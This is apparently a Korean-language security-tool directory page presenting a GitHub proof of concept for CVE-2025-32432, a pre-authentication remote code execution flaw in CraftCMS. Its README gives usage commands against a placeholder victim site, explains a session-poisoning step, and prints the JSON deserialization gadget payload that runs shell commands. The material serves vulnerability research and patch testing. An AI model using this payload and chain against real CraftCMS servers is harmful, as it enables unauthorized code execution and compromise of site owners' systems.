Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-32432-PoC — CraftCMS asset-transform 엔드포인트의 사전 인증 RCE인 CVE-2025-32432에 대한 Python 악용입니다. 역직렬화 가젯을 통해 임의 셸 명령을 실행하는 2패킷 체인을 포함합니다. | Kitploit
도구/GitHubGitHub/cty-research-1/cve-2025-32432-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubcty-research-1/cve-2025-32432-poc

CVE-2025-32432-PoC

CraftCMS asset-transform 엔드포인트의 사전 인증 RCE인 CVE-2025-32432에 대한 Python 악용입니다. 역직렬화 가젯을 통해 임의 셸 명령을 실행하는 2패킷 체인을 포함합니다.

저장소 보기
6421년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-32432 익스플로잇 스크립트 (Python PoC)

CraftCMS 3.x / 4.x / 5.x에 대한 인증 전 원격 코드 실행
PoC 관리자: C.T.Y. (연구 용도로만 사용)
취약점 발견: Nicolas Bourras – Orange Cyberdefense
추가 PoC 영감: SensePost 연구 및 Chirag Artani의 공개 스크립트


1. 개요

이 저장소는 CVE-2025-32432에 대한 두 가지 보완적인 Python 익스플로잇을 제공합니다. 이는 CraftCMS의 asset-transform 엔드포인트에서의 인증 전 RCE입니다.

Script설명
craftcms_rce_php_check.py안전 프로브 — FnStream 가젯을 사용하여 하나의 요청을 보내 임의의 PHP가 실행되는지 확인합니다(phpinfo() 출력). 영향이 적은 확인에 이상적입니다.
craftcms_final_payload.py전체 익스플로잇 — 두 패킷 체인: 먼저 FnStream을 통해 PHP를 주입한 후, FieldLayoutBehavior → PhpManager 가젯을 활용하여 모든 셸 명령을 실행합니다.

두 번째 스크립트가 이 README 전체에서 설명하는 것입니다.
첫 번째 스크립트는 완전성과 빠른 검증을 위해 포함되었으며, Chirag Artani가 제공했습니다. — 크레딧 참조.
스크립트 파일명은 명확성을 위해 수정되었습니다. 원래 구조와 아이디어는 Chirag Artani의 것입니다.


2. 면책 고지 🚨

교육 및 승인된 보안 테스트 용도로만 사용하십시오.
이 스크립트를 명시적인 서면 허가 없이 시스템에 사용하는 것은 불법적이고 비윤리적입니다.


3. 기능 (최종 페이로드)

  • 원샷 두 패킷 RCE
  • 자동 assetId 브루트포스 (404 → 302 휴리스틱)
  • 사용자 정의 셸 명령 실행 (-c/--cmd)
  • HTTP 또는 HTTPS에서 작동 (SSL 인증 경고 억제)
  • HTML 응답에서 명령 출력을 깔끔하게 추출

4. 요구 사항

  • Python 3.8+
  • PyPI 패키지 (pip install -r requirements.txt로 설치):
    • requests
    • urllib3

5. 설치

# 리포지토리 클론
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt

# 의존성 설치
pip install -r requirements.txt

6. 사용법

6.1 빠른 PHP 실행 확인

python3 craftcms_rce_php_check.py -u https://victim.com

phpinfo() 출력이 보이면 대상이 익스플로잇 가능성이 매우 높습니다.

6.2 전체 두 패킷 익스플로잇

python3 craftcms_final_payload.py -u https://victim.com -c "id"

옵션

옵션긴 형식설명필수
-u--url대상 기본 URL (끝에 슬래시 없음)✅
-c--cmd실행할 셸 명령✅
-a--asset알려진 유효한 assetId❌
-s--scan-max브루트포스 한도 (기본값: 300)❌

7. 취약점 작동 방식 (요약)

  • 세션 포이즈닝 — /index.php?p=admin/dashboard&a=<?=...?>로 GET 요청을 보내 임의의 PHP를 /tmp/sess_<ID>에 기록합니다.
  • 역직렬화 가젯 — actions/assets/generate-transform으로 POST 요청을 보내 FieldLayoutBehavior → PhpManager 가젯을 사용하여 CraftCMS가 세션 파일을 require()하도록 강제하여 코드를 실행합니다.
{
  "assetId": 11,
  "handle": {
    "width": 1,
    "height": 1,
    "as hack": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "yii\\rbac\\PhpManager",
      "__construct()": [
        {
          "itemFile": "/tmp/sess_<SessionID>"
        }
      ]
    }
  }
}

8. 테스트된 버전

  • CraftCMS < 3.9.15 (assetId 브루트포스 필요)
  • CraftCMS < 4.14.15
  • CraftCMS < 5.6.17

9. 참고 자료 및 추가 읽을거리

  • 원본 권고 — Nicolas Bourras / Orange Cyberdefense
  • SensePost 심층 분석 블로그
  • Chirag Artani의 PoC
  • CraftCMS 보안 권고
  • CVE-2025-32432 @ MITRE

10. 크레딧

  • C.T.Y. — 전체 두 패킷 PoC 및 문서
  • Chirag Artani — 원본 phpinfo 확인 스크립트 (craftcms_rce_php_check.py) 및 초기 연구 아이디어 스크립트 파일명은 명확성을 위해 수정되었습니다. 원래 구조와 아이디어는 Chirag Artani의 것입니다.
  • Nicolas Bourras / Orange Cyberdefense — 취약점 발견 및 책임 있는 공개
  • SensePost 연구팀의 추가 통찰력

11. 라이선스

책임 고지: 이 코드 사용으로 인해 발생하는 모든 법적 위험이나 손해는 전적으로 사용자의 책임입니다.

MIT 라이선스 — LICENSE 파일 참조.


한국어 설명

1. 프로젝트 내용

파일용도
craftcms_rce_php_check.pyPHP 실행 가능성 확인: 단일 요청으로 FnStream을 사용하여 phpinfo()를 트리거하고, 낮은 영향으로 대상이 취약한지 확인합니다.
이 파일명은 설명을 위해 수정되었습니다. 원래 개념과 코드 구조는 Chirag Artani의 것입니다.
craftcms_final_payload.py두 패킷 체인 전체 이용: 먼저 FnStream으로 PHP를 주입한 후, PhpManager를 통해 임의의 명령을 실행합니다.

2. 면책 고지

교육 및 합법적으로 승인된 테스트 용도로만 사용하십시오. 승인되지 않은 작업은 불법입니다.


3. 빠른 확인

python3 craftcms_rce_php_check.py -u https://대상사이트

4. 전체 이용

python3 craftcms_final_payload.py -u https://대상사이트 -c "id"

매개변수는 영어 버전과 동일합니다.


5. 감사의 말

  • Chirag Artani — phpinfo 확인 스크립트 이 파일명은 설명을 위해 수정되었습니다. 원래 개념과 코드 구조는 Chirag Artani의 것입니다.
  • Nicolas Bourras / Orange Cyberdefense — 취약점 발견 및 기술 영감
  • SensePost — 기술 영감

6. 라이선스

이 코드를 사용하여 발생하는 모든 법적 위험 및 손실은 사용자 본인의 책임입니다.

MIT 라이선스

도구 다운로드